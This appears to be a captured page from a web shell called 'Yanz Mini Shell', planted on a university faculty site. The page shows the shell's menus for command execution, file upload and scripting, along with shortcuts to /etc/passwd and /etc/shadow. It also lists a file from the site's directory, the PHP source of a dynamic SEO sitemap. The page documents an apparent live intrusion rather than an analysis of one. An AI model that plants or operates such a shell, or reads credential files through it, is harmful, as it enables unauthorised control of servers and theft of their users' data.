Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
uncpac53
public_html
fsains.uncp.ac.id
pages
partials
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php // ============================================================= // sitemap.xml - sitemap dinamis untuk SEO // ============================================================= header('Content-Type: application/xml; charset=utf-8'); require_once __DIR__ . '/config/config.php'; $host = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST']; $base = $host . $base_url; echo '<?xml version="1.0" encoding="UTF-8"?>' . "\n"; ?> <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> <url> <loc><?= $base ?>/index.php</loc> <changefreq>daily</changefreq> <priority>1.0</priority> </url> <url> <loc><?= $base ?>/pages/program-studi.php</loc> <changefreq>monthly</changefreq> <priority>0.8</priority> </url> <url> <loc><?= $base ?>/pages/berita.php</loc> <changefreq>daily</changefreq> <priority>0.9</priority> </url> <url> <loc><?= $base ?>/pages/kontak.php</loc> <changefreq>monthly</changefreq> <priority>0.6</priority> </url> <?php // Halaman statis $pages = $conn->query("SELECT slug, updated_at FROM pages WHERE is_active = 1"); if ($pages) { while ($p = $pages->fetch_assoc()): ?> <url> <loc><?= $base ?>/pages/page.php?slug=<?= e($p['slug']) ?></loc> <lastmod><?= date('Y-m-d', strtotime($p['updated_at'])) ?></lastmod> <changefreq>monthly</changefreq> <priority>0.7</priority> </url> <?php endwhile; } // Program studi $prodi = $conn->query("SELECT slug FROM program_studi WHERE is_active = 1"); if ($prodi) { while ($p = $prodi->fetch_assoc()): ?> <url> <loc><?= $base ?>/pages/prodi.php?slug=<?= e($p['slug']) ?></loc> <changefreq>monthly</changefreq> <priority>0.8</priority> </url> <?php endwhile; } // Berita $berita = $conn->query("SELECT id, date_posted FROM news ORDER BY date_posted DESC LIMIT 500"); if ($berita) { while ($b = $berita->fetch_assoc()): ?> <url> <loc><?= $base ?>/pages/detail-berita.php?id=<?= (int)$b['id'] ?></loc> <lastmod><?= date('Y-m-d', strtotime($b['date_posted'])) ?></lastmod> <changefreq>weekly</changefreq> <priority>0.7</priority> </url> <?php endwhile; } ?> </urlset>
Free Space : 55798976512 Byte